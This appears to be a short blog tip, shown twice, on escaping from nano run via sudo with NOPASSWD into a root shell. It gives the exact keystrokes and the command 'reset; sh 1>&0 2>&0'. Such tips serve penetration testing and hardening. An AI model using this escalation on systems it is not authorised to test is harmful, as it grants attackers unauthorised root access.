If nano can be run with NOPASSWD via sudo, then you can use the following to break out into a root shell:
CTRL+R
(read file)CTRL+X
(execute file)reset; sh 1>&0 2>&0
Boom!
Search
July 31, 20241 min read
If nano can be run with NOPASSWD via sudo, then you can use the following to break out into a root shell:
CTRL+R
(read file)CTRL+X
(execute file)reset; sh 1>&0 2>&0
Boom!